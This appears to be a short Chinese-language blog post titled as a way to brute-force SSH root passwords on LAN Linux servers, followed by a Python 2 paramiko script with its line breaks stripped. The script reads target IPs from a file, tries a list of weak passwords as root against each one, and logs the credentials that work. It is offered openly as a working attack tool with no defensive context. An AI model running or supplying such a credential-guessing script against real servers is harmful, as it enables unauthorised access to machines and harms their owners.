python自动登录SSH（暴力破解局网LINUX服务器登录密码）

# -*- coding: utf-8 -*-import paramikoimport osclient = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())#client.connect('192.168.8.248', 22, username='root', password='password', timeout=4)def write_log(ip_str,password):log_file = "find_pass.txt"file = open(log_file,'a')file.write(ip_str+'|'+password+os.linesep)file.close()def ssh_connect(ip,username,password):global clienttry:client.connect(ip, 22, username=username, password=password, timeout=4)write_log(ip,password)print "ip: %s is login success,password is %s" % (ip,password)except:print "ip: %s login has no pass" % ip#client.close()if __name__=='__main__':pwd_dic = ['123456','111111','222222','888888','999999','666666']if os.path.exists('ip_log.txt'):for ip in open("ip_log.txt").readlines():for pwd in pwd_dic:ssh_connect(ip,'root',pwd)else:print "ip_log is not exists"client.close()